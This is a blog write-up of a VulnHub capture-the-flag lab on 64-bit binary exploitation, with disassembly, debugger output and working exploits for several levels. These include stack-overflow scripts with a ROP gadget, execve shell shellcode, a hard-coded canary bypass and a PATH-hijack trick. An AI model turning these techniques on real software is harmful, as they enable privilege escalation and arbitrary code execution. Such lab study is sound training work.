The Pentesters: 64-Bit AppSec Primer (Beta) hacking challenge

Written on August 16, 2016

I was quite excited when this VM was posted on VulnHub and downloaded it right away. Exploiting and reverse engineering 64-bit binaries, and you get a chance to win a prize? Sign me up! Unfortunately I started to lose motivation when I found out that the author accidentally pushed out the beta version of the VM which includes errors such as ASLR being left on, and a challenge being unsolvable, among possible other bugs.

Still, I did what I could until I lost interest. Here’s a writeup of the challenges I solved. If you’re interested in giving it a go, grab it from here. I might give this another run if the final version is made available. The official decription of the contest can be found here.

Level 1

When I initially solved this challenge, ASLR was turned on and so it seemed ridiculously hard compared to the level 2 challenge. After a few hours of analysis and trial and error, I found a solution.

The obvious vulnerability was that strcpy() was writing past the buffer and overwriting the saved return pointer in vuln()

[0x004004c0]> [email protected]
╒ (fcn) sym.vuln 38
│           ; var int local_40h @ rbp-0x40
│           ; var int local_48h @ rbp-0x48
│           ; CALL XREF from 0x00400633 (sym.main)
│           0x004005b6      55             push rbp
│           0x004005b7      4889e5         mov rbp, rsp
│           0x004005ba      4883ec50       sub rsp, 0x50
│           0x004005be      48897db8       mov qword [rbp - local_48h], rdi
│           0x004005c2      488b55b8       mov rdx, qword [rbp - local_48h]
│           0x004005c6      488d45c0       lea rax, [rbp - local_40h]
│           0x004005ca      4889d6         mov rsi, rdx
│           0x004005cd      4889c7         mov rdi, rax
│           0x004005d0      e89bfeffff     call sym.imp.strcpy
│           0x004005d5      b801000000     mov eax, 1
│           0x004005da      c9             leave
╘           0x004005db      c3             ret

Using a cyclic pattern, it became obvious that the saved return pointer could be overwritten at offset 72.

gdb-peda$ r aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
Starting program: /root/work/level01/chall1 aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
Bet ya can't pwn me!
RAX: 0x1
RBX: 0x0
RCX: 0x7fee3aa69ed0 (<__strcpy_sse2_unaligned+1104>:    movdqu xmm0,XMMWORD PTR [rsi])
RDX: 0xf
RSI: 0x7ffe5c6d6940 ("aaawaaaxaaayaaa")
RDI: 0x7ffe5c6d5135 ("aaawaaaxaaayaaa")
RBP: 0x6161617261616171 ('qaaaraaa')
RSP: 0x7ffe5c6d5128 ("saaataaauaaavaaawaaaxaaayaaa")
RIP: 0x4005db (<vuln+37>:       ret)
R8 : 0x7fee3ad8d9e0 --> 0x0
R9 : 0x0
R10: 0x7ffe5c6d4e90 --> 0x0
R11: 0x7fee3ab45360 --> 0xfff24a90fff24a80
R12: 0x4004c0 (<_start>:        xor    ebp,ebp)
R13: 0x7ffe5c6d5220 --> 0x2
R14: 0x0
R15: 0x0
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
   0x4005d0 <vuln+26>:  call   0x400470 <[email protected]>
   0x4005d5 <vuln+31>:  mov    eax,0x1
   0x4005da <vuln+36>:  leave
=> 0x4005db <vuln+37>:  ret
   0x4005dc <main>:     push   rbp
   0x4005dd <main+1>:   mov    rbp,rsp
   0x4005e0 <main+4>:   sub    rsp,0x10
   0x4005e4 <main+8>:   mov    DWORD PTR [rbp-0x4],edi
0000| 0x7ffe5c6d5128 ("saaataaauaaavaaawaaaxaaayaaa")
0008| 0x7ffe5c6d5130 ("uaaavaaawaaaxaaayaaa")
0016| 0x7ffe5c6d5138 ("waaaxaaayaaa")
0024| 0x7ffe5c6d5140 --> 0x61616179 ('yaaa')
0032| 0x7ffe5c6d5148 --> 0x7fee3a9eef45 (<__libc_start_main+245>:       mov    edi,eax)
0040| 0x7ffe5c6d5150 --> 0x0
0048| 0x7ffe5c6d5158 --> 0x7ffe5c6d5228 --> 0x7ffe5c6d68d1 ("/root/work/level01/chall1")
0056| 0x7ffe5c6d5160 --> 0x200000000
Legend: code, data, rodata, value

Breakpoint 1, 0x00000000004005db in vuln ()
gdb-peda$ shell cyclic -o saaa

However, where to return to? Null bytes will truncate the payload with strcpy(), so I could only return once. With a bit of experimenting, I found that I could provide multiple arguments to the program and see them on the stack:

0256| 0x7ffe34464778 --> 0x7ffe34465843 ("/root/work/level01/chall1")
0264| 0x7ffe34464780 --> 0x7ffe3446585d ('A' <repeats 80 times>)
0272| 0x7ffe34464788 --> 0x7ffe344658ae ('B' <repeats 80 times>)
0280| 0x7ffe34464790 --> 0x7ffe344658ff ('C' <repeats 80 times>)

I found that right before vuln() returned, the saved return pointer would be 200 bytes from the third argument. I found a perfect gadget that would shift the stack so that it would return to the contents of the third argument:

0x000000000040069d :  pop rsp; pop r13; pop r14; pop r15; ret;

Since NX was disabled, the stack was executable, and so if I stored my shellcode in the third argument, I could execute it. Easiest way to do it was to create two scripts. The first would create “in.txt”, which would overwrite the saved return pointer and return to the series of pop gadgets, and the second script would create “shellcode.txt”, which just contained an execve() shellcode.

Here’s the first script to overwrite RIP:

#!/usr/bin/env python

from pwn import *

buf = ""
buf += "A"*72
buf += p64(0x000000000040069d)  # pop rsp; pop r13; pop r14; pop r15; ret;

open("in.txt", "w").write(buf)

And the second script to write out the execve() shellcode:

#!/usr/bin/env python
from pwn import *

context(os="linux", arch="amd64")
open("shellcode.txt", "w").write(asm(

Copy both in.txt and shellcode.txt to the target and pass them as the first and third arguments to the chall1 binary to get a shell:

[email protected]:~/level1$ ./chall1 `cat /tmp/level1/in.txt` xxxx `cat /tmp/level1/shellcode.txt`
Bet ya can't pwn me!
$ cat flag*

Level 2

This was easy. I loaded up the binary in radare2 and examined the disassembly of the checkPassword function:

[0x00400600]> [email protected]
╒ (fcn) sym.checkPassword 57
│           ; var int local_8h @ rbp-0x8
│           ; CALL XREF from 0x00400859 (sym.main)
│           0x004007db      55             push rbp
│           0x004007dc      4889e5         mov rbp, rsp
│           0x004007df      4883ec10       sub rsp, 0x10
│           0x004007e3      48897df8       mov qword [rbp - local_8h], rdi
│           0x004007e7      488b45f8       mov rax, qword [rbp - local_8h]
│           0x004007eb      be04094000     mov esi, str.sup3rs3cr3tp4ssw0rd ; "sup3rs3cr3tp4ssw0rd" @ 0x400904
│           0x004007f0      4889c7         mov rdi, rax
│           0x004007f3      e8d8fdffff     call sym.imp.strcmp
│           0x004007f8      85c0           test eax, eax
│       ┌─< 0x004007fa      750c           jne 0x400808
│       │   0x004007fc      b800000000     mov eax, 0
│       │   0x00400801      e8e7feffff     call sym.doDec
│      ┌──< 0x00400806      eb0a           jmp 0x400812
│      ││   ; JMP XREF from 0x004007fa (sym.checkPassword)
│      │└─> 0x00400808      bf18094000     mov edi, str.Try_again.     ; "Try again." @ 0x400918
│      │    0x0040080d      e87efdffff     call sym.imp.puts
│      │    ; JMP XREF from 0x00400806 (sym.checkPassword)
│      └──> 0x00400812      c9             leave
╘           0x00400813      c3             ret

Radare2 finds the password as sup3rs3cr3tp4ssw0rd

Sure enough, it returns the flag:

[email protected]:~/level2$ ./chall2
Please enter your password.
Congrats you passed challenge2! flag{st4tic_str1ngs_m4ke_l1fe_e4sy}

Level 3

The author later announced that this challenge was unsolvable and was therefore only DoS only.

The vulnerability lies in checkPasswd() when it gets our input. It uses read() to get up to 512 bytes, and then it uses strlen() to get determine the number of bytes that were read. However, it appears to store the return value of streln() in a char instead of an int. This becomes relevant because it checks if the value is greater than 3 and less than 8. If it is, then it moves on to a branch which uses memcpy() which can be used to overerwrite the saved return pointer.

   0x0000000000400749 <+83>:    call   0x4005a0 <[email protected]>
   0x000000000040074e <+88>:    lea    rax,[rbp-0x240]
   0x0000000000400755 <+95>:    mov    rdi,rax
   0x0000000000400758 <+98>:    call   0x400580 <[email protected]>
   0x000000000040075d <+103>:   mov    BYTE PTR [rbp-0x1],al
   0x0000000000400760 <+106>:   cmp    BYTE PTR [rbp-0x1],0x3
   0x0000000000400764 <+110>:   jbe    0x4007a5 <checkPasswd+175>
   0x0000000000400766 <+112>:   cmp    BYTE PTR [rbp-0x1],0x8
   0x000000000040076a <+116>:   ja     0x4007a5 <checkPasswd+175>

Since it only checks the value of the al register, we can actually pass a much larger value, like 256 (0x104), and it will be read as 0x4 bytes. This passes the check that the length is between 3 and 8, and thus goes to the memcpy() branch:

   0x400785 <checkPasswd+143>:  lea    rax,[rbp-0x30]
   0x400789 <checkPasswd+147>:  mov    rsi,rcx
   0x40078c <checkPasswd+150>:  mov    rdi,rax
=> 0x40078f <checkPasswd+153>:  call   0x4005c0 <[email protected]>
   0x400794 <checkPasswd+158>:  mov    edi,0x4008ed
   0x400799 <checkPasswd+163>:  call   0x400570 <[email protected]>
   0x40079e <checkPasswd+168>:  mov    eax,0x1
   0x4007a3 <checkPasswd+173>:  jmp    0x4007b4 <checkPasswd+190>
Guessed arguments:
arg[0]: 0x7fffffffe610 --> 0x7fffffffe760 --> 0x7fffffffe952 ("HOSTNAME=64bit")
arg[1]: 0x7fffffffe400 ('A' <repeats 200 times>...)
arg[2]: 0x104
arg[3]: 0x7fffffffe400 ('A' <repeats 200 times>...)

memcpy() will copy 0x104 bytes into the buffer, however, the saved return pointer is only 56 bytes away from the buffer. This will surely cause it to be overwritten, which will crash the program.

[email protected]:/tmp/l3$ cat in.txt | ./chall3 a
Valid username.
Welcome, a!
What is your password?
Nope. n0 shellz4u.
Segmentation fault (core dumped)

Unfortunately this does not seem exploitable since strlen() is used to determine the length to memcpy(). The saved return pointer is overwritten at offset 56, so strlen() will return 56 bytes when it sees the null bytes in a 64-bit address, which will prevent the memcpy() branch from being evaluated.

However, the above case with the segmentation fault should satisfy the DoS-only requirements for this challenge.

Level 6

chall6 requires an argument of up to 64-bytes. strcpy() is called in vuln() but it doesn’t overwrite the saved return pointer. However, it does cause an off-by-one overwrite. If I pass in 64 “A”s, I can see that RBP is set to the following right before strcpy() is called:

RBP: 0x7fffffffeaf0 --> 0x7fffffffeb10 --> 0x0

After strcpy(), RBP’s last byte has been set to 0x00 which causes it to point to a different location.

RBP: 0x7fffffffeaf0 --> 0x7fffffffeb00 --> 0x7fffffffebf8 --> 0x7fffffffedf5 ("/tmp/l6/chall6")

This causes main() to return to a different address. I found that I could get it to return to my payload of 64 “A”s by adding additional arguments which shifts the stack a little. A bit of trial and error was required. For instance, in gdb, if I passed in the following:


Then main() would return to the payload of “A”s:

   0x400711 <main+112>: call   0x40065d <vuln>
   0x400716 <main+117>: mov    eax,0x0
   0x40071b <main+122>: leave
=> 0x40071c <main+123>: ret
   0x40071d:    nop    DWORD PTR [rax]
   0x400720 <__libc_csu_init>:  push   r15
   0x400722 <__libc_csu_init+2>:    mov    r15d,edi
   0x400725 <__libc_csu_init+5>:    push   r14
0000| 0x7fffffffea08 --> 0x7fffffffede1 ('A' <repeats 64 times>)
0008| 0x7fffffffea10 --> 0x7fffffffea50 ('A' <repeats 64 times>)
0016| 0x7fffffffea18 --> 0x842
0024| 0x7fffffffea20 --> 0x0
0032| 0x7fffffffea28 --> 0x7ffff7ffe1c8 --> 0x0
0040| 0x7fffffffea30 --> 0x0
0048| 0x7fffffffea38 --> 0x40068e (<vuln+49>:   jmp    0x40069a <vuln+61>)
0056| 0x7fffffffea40 --> 0xa ('\n')
Legend: code, data, rodata, value

Breakpoint 3, 0x000000000040071c in main ()

With that in mind, I created a file “in.txt” which had 40 bytes of NOPs followed by execve() shellcode:

[email protected]:/tmp/l6$ xxd -g1 in.txt
0000000: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
0000010: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
0000020: 90 90 90 90 90 90 90 90 6a 68 48 b8 2f 62 69 6e  ........jhH./bin
0000030: 2f 2f 2f 73 50 6a 3b 58 48 89 e7 31 f6 99 0f 05  ///sPj;XH..1....

I played around with the arguments for a bit until I found one that worked and gave me a shell:

[email protected]:/tmp/l6$ /opt/challenges/level6/chall6 `cat in.txt` aaaa aaaa aaaa
Bet ya can't pwn me!
$ id
uid=1017(n00b) gid=1017(n00b) euid=1006(level6) groups=1006(level6),1017(n00b)
$ cat /opt/challenges/level6/flag-level6

Level 9

This binary utilizes its own custom canary to ensure that the saved return pointer isn’t overwritten. However, the canary’s value is static and can be easily seen in radare2:

│           0x00400658      48b8efbeadde.  movabs rax, 0xdeadbeefdeadbeef
│           0x00400662      483145f8       xor qword [rbp - local_8h], rax
│           0x00400666      48837df800     cmp qword [rbp - local_8h], 0
│       ┌─< 0x0040066b      7405           je 0x400672
│       │   0x0040066d      e884ffffff     call sym.deadCanary
│       │   ; JMP XREF from 0x0040066b (
│       └─> 0x00400672      bff1074000     mov edi, str._loser         ; "#loser" @ 0x4007f1

I set a breakpoint at 0x00400666, where the value of the canary is checked, and sent a cyclic pattern of 0x40 bytes to the binary. Using the value at rbp-0x8, I determined that the canary was overwritten at offset 40. I also checked the value of the saved return pointer, and determined that it was overwritten at offset 56. It was an easy matter to create a payload to overwrite the canary with 0xdeadbeefdeadbeef and return to wherever I wanted.

Since ASLR and NX were disabled, I opted to store my shellcode in an environment variable and return to it. I used getenvaddr.c to get its address:

[email protected]:~/level9$ export EGG=`python -c 'print "jhH\xb8/bin///sPj;XH\x89\xe71\xf6\x99\x0f\x05"'`
[email protected]:~/level9$ /tmp/l9/getenvaddr EGG ./chall9
EGG will be at 0x7fffffffeea6

Here’s the exploit:

#!/usr/bin/env python
from struct import *

buf = ""
buf += "A"*40
buf += "\xef\xbe\xad\xde"
buf += "\xef\xbe\xad\xde"
buf += "A"*(56 - len(buf))
buf += pack("<Q", 0x7fffffffeea6)

open("in.txt", "w").write(buf)

And finally, getting the flag by passing in.txt into chall9:

[email protected]:~/level9$ (cat /tmp/l9/in.txt ; cat) | ./chall9
Inject buffer dude, but watch out for the birds.
uid=1017(n00b) gid=1017(n00b) euid=1009(level9) groups=1009(level9),1017(n00b)
cat flag-level9

Level 10

We’re given a binary that drops us into some kind of shell. The shell supports several commands, but the one command that drew my interest was the doExit() function.

│           0x00400af2      bfd9154000     mov edi, str.rm__tmp_history ; "rm /tmp/history" @ 0x4015d9
│           0x00400af7      e8c4fcffff     call sym.imp.system

Here it’s calling system(“rm /tmp/history”) without passing an absolute path to system(). This meant I could modify my PATH environment variable to run my own script called /tmp/rm that would read the contents of flag-level10

[email protected]:~/level10$ export PATH=/tmp:${PATH}
[email protected]:~/level10$ cat /tmp/rm
cat /opt/challenges/level10/flag-level10

Finally, running chall10 and exiting returns the flag:

[email protected]:~/level10$ ./chall10
pwnsh> exit
We hoped you enjoy your experience with pwnsh!
Thank you, and remember, stay civil folks.
Goodbye, n00b.

And that’s it. Good VM with some potential, but ultimately hampered by some bugs. I hope the final version makes it out online all fixed up, and I’d be interested to give it another go then.